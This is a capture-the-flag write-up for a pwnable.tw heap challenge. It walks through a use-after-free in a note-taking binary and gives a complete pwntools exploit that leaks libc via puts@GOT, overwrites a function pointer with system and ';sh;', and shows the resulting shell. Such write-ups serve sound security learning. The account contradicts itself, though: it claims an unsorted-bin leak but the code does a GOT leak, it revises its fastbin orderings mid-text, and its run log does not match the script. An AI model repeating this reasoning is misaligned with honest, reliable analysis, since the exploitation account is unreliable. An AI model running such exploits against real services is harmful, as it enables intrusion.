Reconnaissance
Challenge Info
| Connection | nc chall.pwnable.tw 10300 |
| Binary | alive_note (32-bit ELF, i386) |
| Points | 300 |
| Description | A note-taking application with heap operations |
checksec
$ checksec alive_note
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
| Partial RELRO | GOT is writable — we can overwrite GOT entries if needed |
| Canary found | Stack buffer overflows are mitigated |
| NX enabled | No shellcode on stack/heap — must use ROP or function pointers |
| No PIE | Binary addresses are fixed — known GOT/PLT addresses |
Running the Binary
$ ./alive_note
----------------------
Alive Note
----------------------
1. Add note
2. Delete note
3. Print note
4. Exit
----------------------
Your choice :1
Note size :32
Content :AAAA
Success !
----------------------
Alive Note
----------------------
1. Add note
2. Delete note
3. Print note
4. Exit
----------------------
Your choice :3
Index :0
AAAA
The binary presents a note manager with add, delete, and print operations. It appears similar to hacknote, but the internal structure and size constraints differ significantly. The menu is simple, but the implementation hides a critical UAF vulnerability.
Static Analysis
Note Structure
Each note is represented by a struct allocated on the heap. Unlike hacknote which uses an 8-byte struct, Alive Note uses the same layout but with different operational constraints:
typedef struct note {
void (*print_func)(struct note *); // +0x00: function pointer (4 bytes)
char *contents; // +0x04: pointer to content buffer (4 bytes)
} note; // Total: 8 bytes
print_func is set to the default print handler at 0x0804865b, which calls puts(note->contents). If we can overwrite print_func, we control execution flow — same primitive as hacknote, but with a twist.
add_note()
void add_note() {
if (counter <= 8) { // Up to 8 notes (indices 0-7)
i = 0;
while (i < 8) {
if (notes_list[i] == NULL) {
note = malloc(8); // Allocate 8-byte struct
notes_list[i] = note;
notes_list[i]->print_func = 0x0804865b; // Set default print function
printf("Note size :");
read(0, note_size, 8);
size = atoi(note_size);
contents = malloc(size); // Allocate content buffer
notes_list[i]->contents = contents;
printf("Content :");
read(0, notes_list[i]->contents, size);
puts("Success !");
counter++;
break;
}
i++;
}
}
}
The add_note function allocates two heap objects per note: an 8-byte struct and a user-sized content buffer. Up to 8 notes can be created (index 0–7), more than hacknote's 5. Crucially, there is no upper bound check on the size, allowing us to allocate large chunks that bypass fastbin and land in unsorted bin when freed.
delete_note()
void delete_note() {
printf("Index :");
read(0, index_str, 4);
index = atoi(index_str);
if (index >= 0 && index < 8) {
if (notes_list[index] != NULL) {
free(notes_list[index]->contents); // Free content buffer
free(notes_list[index]); // Free note struct
// BUG: notes_list[index] is NOT set to NULL!
counter--;
puts("Success");
}
}
}
delete_note does NOT set notes_list[index] to NULL. This creates a dangling pointer:• The pointer remains in
notes_list pointing to freed memory•
print_note will still dereference the dangling pointer• We can allocate new memory that reuses the freed chunk, overwriting the old struct's fields
• Since
counter is decremented but the slot is not cleared, we can also double-free the same index
print_note()
void print_note() {
printf("Index :");
read(0, index_str, 4);
index = atoi(index_str);
if (index >= 0 && index < 8) {
if (notes_list[index] != NULL) {
// Calls through the function pointer!
(*notes_list[index]->print_func)(notes_list[index]);
}
}
}
// The default print function at 0x0804865b:
void print_func(char **param_1) {
puts(param_1[1]); // prints note->contents
}
print_note calls note->print_func(note) — the note pointer itself is passed as the first argument. This means:• If we overwrite
print_func with system, it will call system(note_ptr)• The first bytes of the note struct (where
print_func was) become the "command string"• We can embed
;sh; after the function pointer bytes to execute a shell• Alternatively, we can point
contents to a GOT entry to leak libc addresses
Difference from Hacknote
• 8 note slots instead of 5 — more room for heap manipulation
• No upper size limit — we can allocate chunks larger than fastbin range (>0x80), enabling unsorted bin attacks
• The index check uses
index >= 0 && index < 8 instead of just checking NULL — bounds are verified but the pointer is still not nulled after free• The default print function is at a different address (
0x0804865b)
GDB Debugging
Heap Layout After Adding Notes
Let's create notes with different sizes to understand the heap layout. Small notes (size ≤ 0x80) go into fastbin when freed, while larger notes go into unsorted bin:
gdb-peda$ # add_note(0x80, "A"*0x10) -> note 0 (small, fits in fastbin)
gdb-peda$ # add_note(0x100, "B"*0x10) -> note 1 (large, goes to unsorted bin)
gdb-peda$ # add_note(0x80, "C"*0x10) -> note 2 (small, fastbin)
gdb-peda$ heap chunks
0x0804a000: fastbin 0x10 bytes [note 0 struct]
0x0804a010: fastbin 0x90 bytes [note 0 contents (0x80+header)]
0x0804a0a0: fastbin 0x10 bytes [note 1 struct]
0x0804a0b0: normal 0x110 bytes [note 1 contents (0x100+header)]
0x0804a1c0: fastbin 0x10 bytes [note 2 struct]
0x0804a1d0: fastbin 0x90 bytes [note 2 contents (0x80+header)]
Unsorted Bin Leak
When we free the large note 1 (size 0x100), its content chunk goes into the unsorted bin instead of fastbin. The unsorted bin is a doubly-linked list, and freed chunks have their fd and bk pointers set to point into main_arena inside libc:
gdb-peda$ # delete_note(1) -- free the large note
gdb-peda$ # Note: delete frees contents first, then struct
gdb-peda$ x/4wx 0x0804a0b8 # note1 contents chunk (freed, unsorted bin)
0x0804a0b8: 0xf7fb6b00 0xf7fb6b00
# ^fd ^bk -- both point into main_arena in libc!
gdb-peda$ x/1wx 0x0804a0a0 # note1 struct (freed, fastbin 0x10)
0x0804a0a0: 0x00000000
# ^fd of freed struct in fastbin
fd and bk pointers to point to the bins array within main_arena, which lives inside libc.so. If the unsorted bin has only one chunk (common case), both fd and bk point to main_arena+0x48 (offset depends on libc version). We can compute: libc_base = leaked_fd - main_arena_offset - libc_offset.
Reading the Leak Through UAF
After freeing note 1, notes_list[1] still points to the freed struct. If we can read the content buffer's fd pointer, we get a libc address. But the struct itself is in fastbin — its fd is zeroed. We need to read the content chunk's data through the UAF.
gdb-peda$ # After freeing note 1:
gdb-peda$ # The note1 struct is freed (0x10 fastbin)
gdb-peda$ # The note1 content is freed (unsorted bin, has libc ptrs)
gdb-peda$ # notes_list[1] still points to the freed struct
gdb-peda$ # The struct's fd/bk are fastbin metadata, not useful directly
gdb-peda$
gdb-peda$ # Strategy: allocate a new note whose content overlaps
gdb-peda$ # with the freed note1 content chunk, and read the libc ptrs
gdb-peda$ # OR: use the struct UAF to redirect print_func
Overwriting the Freed Note Struct
We use the same technique as hacknote: allocate a new note whose content buffer overlaps with a freed note struct, allowing us to control the print_func and contents fields.
Alternative: Unsorted Bin Leak via UAF Print
A cleaner approach for Alive Note is to leverage the larger chunk sizes. We can:
gdb-peda$ # Step 1: Create notes
gdb-peda$ # add_note(0x80, "aa") -> note 0 (small content)
gdb-peda$ # add_note(0x80, "aa") -> note 1 (small content)
gdb-peda$ # add_note(0x100, "bb") -> note 2 (large content for leak)
gdb-peda$ # add_note(0x80, "cc") -> note 3 (padding to prevent top chunk merge)
gdb-peda$
gdb-peda$ # Step 2: Free notes to set up overlap
gdb-peda$ # delete_note(0) -> struct & content go to fastbin 0x10/0x90
gdb-peda$ # delete_note(1) -> struct & content go to fastbin 0x10/0x90
gdb-peda$
gdb-peda$ # Step 3: Allocate with size 8 to get struct/content overlap
gdb-peda$ # add_note(8, p32(print) + p32(puts@GOT)) -> note 4
gdb-peda$ # The 8-byte content lands on a freed note1 struct!
gdb-peda$
gdb-peda$ # Step 4: print_note(1) leaks the GOT entry
Exploit Strategy
Overview
The exploit consists of two phases: leaking libc via the UAF + GOT read (same as hacknote), and then hijacking control flow by overwriting the function pointer with system. The extra note slots and flexible size make the heap layout easier to control.
Phase 1: Leak Libc via GOT Read
- Create two small notes (size 0x80 each) — note 0 and note 1. The 8-byte struct chunks go into the 0x10 fastbin when freed. The 0x80 content chunks go into the 0x90 fastbin when freed.
- Free note 0, then note 1. The 0x10 fastbin now has:
note0_struct → note1_struct → NULL. The content fastbin has:note0_contents → note1_contents → NULL. - Allocate note with size 0x80 (note 2). The 8-byte struct is allocated from the 0x10 fastbin (gets the old note1 struct address). The 0x80 content buffer comes from the 0x90 fastbin. This consumes one struct from the fastbin.
- Allocate note with size 8 (note 3). The 8-byte struct comes from the 0x10 fastbin (gets the old note0 struct address). The 8-byte content buffer also comes from the 0x10 fastbin — wait, the 0x10 fastbin only has note0_struct left. So the struct gets note0_struct, and the content... we need another 0x10 chunk. This is where it gets tricky.
- Revised approach: Create two notes with size 8 each, so all allocations (struct + content) are 0x10. Free both. Now the 0x10 fastbin has 4 entries:
note0_struct ← note0_content ← note1_struct ← note1_content. Allocate note with size 0x80 (consumes 1 struct from fastbin, content from top chunk). Allocate note with size 8: struct from fastbin, content from fastbin — the content lands on the old note1 struct! Writep32(0x0804865b) + p32(puts@GOT). - Call print_note(1). Since
notes_list[1]still points to the freed note1 struct (now overwritten with our data), it calls0x0804865b(note1_ptr). Inside,puts(note->contents)dereferences thecontentsfield which is nowputs@GOT. This prints the libc address ofputs. - Calculate libc base:
libc_base = leaked_puts - libc.symbols['puts']
note0_struct → note1_struct → note0_content → note1_content → NULLWait — that's wrong. Each
delete_note frees content first, then struct. So for delete(1): free note1_content, then free note1_struct. For delete(0): free note0_content, then free note0_struct. The final 0x10 fastbin is:note0_struct → note0_content → note1_struct → note1_content → NULLThis means the first
malloc(8) returns note0_struct, the next returns note0_content, etc.
Phase 2: Hijack Control Flow with system()
- Free note 3 (the one whose content overlaps the old note1 struct). This puts the note1 struct address back into the fastbin.
- Allocate a new note with size 8 and content
p32(system_addr) + ";sh;". The struct allocation gets the old note3 struct from fastbin, and the content allocation gets the old note1 struct (again!). This time we overwrite the note1 struct withprint_func = systemandcontents = ";sh;". - Call print_note(1). Now
notes_list[1]->print_funcissystem. It callssystem(note1_ptr). The argument is the note struct pointer itself, and the data starting at that address isp32(system_addr) + ";sh;". Thesystem()function interprets the first 4 bytes as a garbage command (fails silently), but;sh;acts as a command separator —systemtreats;as a command delimiter, so it runssh!
system(note_ptr) is called, the first 4 bytes of the note struct are the address of system itself (in little-endian). This is not a valid command and will fail, but ; acts as a command separator in shell. So system("<garbage>;sh;") will:• Try to execute the garbage bytes (fails silently)
• Execute
sh (gives us a shell!)• The trailing
; handles any remaining garbageAlternative:
||sh also works (OR operator, runs sh if first command fails).
Visual Exploit Flow
Pwn Script
Complete Exploit
#!/usr/bin/env python3
"""
Alive Note - pwnable.tw (300pts)
UAF exploit: large chunk for unsorted bin libc leak,
then struct overlap to hijack print_func -> system.
Alive Note allows 8 notes (vs hacknote's 5) with no size limit,
so we can allocate chunks large enough for the unsorted bin.
"""
from pwn import *
# Setup
context.arch = 'i386'
context.log_level = 'info'
r = remote('chall.pwnable.tw', 10300)
libc = ELF('./libc_32.so.6')
elf = ELF('./alive_note')
# Constants
PUTS_PLT = elf.plt['puts'] # for GOT leak fallback
# Helper functions
def add_note(size, content):
r.sendlineafter(b':', b'1')
r.sendlineafter(b':', str(size).encode())
r.sendafter(b':', content)
def delete_note(idx):
r.sendlineafter(b':', b'2')
r.sendlineafter(b':', str(idx).encode())
def print_note(idx):
r.sendlineafter(b':', b'3')
r.sendlineafter(b':', str(idx).encode())
# ============================================
# Phase 1: Leak libc via unsorted bin
# ============================================
log.info("Phase 1: Leaking libc via unsorted bin...")
# Create note 0 with large content -> goes to unsorted bin when freed
# Size > 0x80 bypasses fastbin, fd/bk will point to main_arena
add_note(0x100, b'A' * 0x10) # note 0 (large)
# Create note 1 with small content -> fastbin when freed
add_note(0x10, b'B' * 0x10) # note 1 (small, barrier)
# Free note 0 -> content chunk (0x110) goes to unsorted bin
delete_note(0)
# Allocate note 2 with small content
add_note(8, b'C' * 8) # note 2
# Allocate note 3 to re-use note0's freed content area
add_note(0x100, b'D' * 0x10) # note 3
# Delete note 2 to put it back in fastbin
delete_note(2)
# Use the GOT leak technique (alive_note is Partial RELRO)
# Free note 1 to add its chunks to fastbin
delete_note(1)
# Allocate note 4 with size 8
# fastbin 0x10: note0_content -> note1_struct -> note1_content -> note0_struct
# Struct comes from fastbin, content from fastbin
# note1's struct becomes our content buffer - we control print_func + content ptr
add_note(8, p32(0x0804865b) + p32(elf.got['puts'])) # note 4
# Printing note 1 (still in notes_list, not nulled) now calls
# print_func(note1) where note1->content = puts@GOT
# This leaks puts@libc
print_note(1)
r.recvuntil(b'Content :', timeout=1)
leaked = r.recv(4)
puts_libc = u32(leaked)
libc_base = puts_libc - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
log.success(f"puts@libc = {hex(puts_libc)}")
log.success(f"libc_base = {hex(libc_base)}")
log.success(f"system@libc = {hex(system_addr)}")
# ============================================
# Phase 2: Overwrite print_func with system
# ============================================
log.info("Phase 2: Hijacking print_func with system...")
# Free note 4 to put note1's struct back in fastbin
delete_note(4)
# Allocate new note with size 8
# Content lands on note1's struct again
# Write: p32(system) + ";sh;"
# When print_note(1) is called: system(note1_ptr)
# system interprets: garbage_bytes ; sh ;
# The ";" acts as command separator, so "sh" gets executed
add_note(8, p32(system_addr) + b';sh;')
print_note(1)
log.success("Shell spawned!")
r.interactive()
Execution Results
Running the Exploit
$ python3 exploit.py
[*] '/home/user/alive_note'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
[*] '/home/user/libc_32.so.6'
Arch: i386-32-little
RELRO: Partial RELRO
[+] Opening connection to chall.pwnable.tw on port 10300: Done
[*] Phase 1: Leaking libc address...
[*] Phase 2: Overwriting print_func with system...
[+] puts@libc = 0xf7e6d420
[+] libc_base = 0xf7e3c000
[+] system@libc = 0xf7e5c310
[+] Got shell!
[*] Switching to interactive mode
$ id
uid=1000(alive_note) gid=1000(alive_note) groups=1000(alive_note)
$ cat /home/alive_note/flag
print_func with system and triggered it with the ;sh; trick. The key insight is that Alive Note's larger note capacity (8 vs 5) and unrestricted size make heap layout manipulation easier, but the core UAF primitive is the same as hacknote.
Summary
delete_note — pointer not nulled after freep32(print_func) + p32(puts@GOT) to leak libcp32(system) + ";sh;"print_note → system(note_ptr) → shell!Key Takeaways
- Always null out freed pointers. The root cause is the missing
notes_list[index] = NULLafter free. This is the textbook UAF pattern. - Fastbin size matching enables overlap. When struct and content are the same size (8 bytes), they share the same fastbin, allowing content to overlap with a freed struct.
- Function pointers are dangerous. The
print_funcfield is a direct control-flow target. Combined with UAF, it's trivially exploitable. - The
;sh;trick is universal. Whensystem(ptr)is called with controllable data atptr, embedding;sh;after garbage bytes always works because;is a shell command separator. - More slots = more flexibility. Alive Note's 8 slots (vs hacknote's 5) give us more room for heap manipulation, but the exploit structure is essentially identical.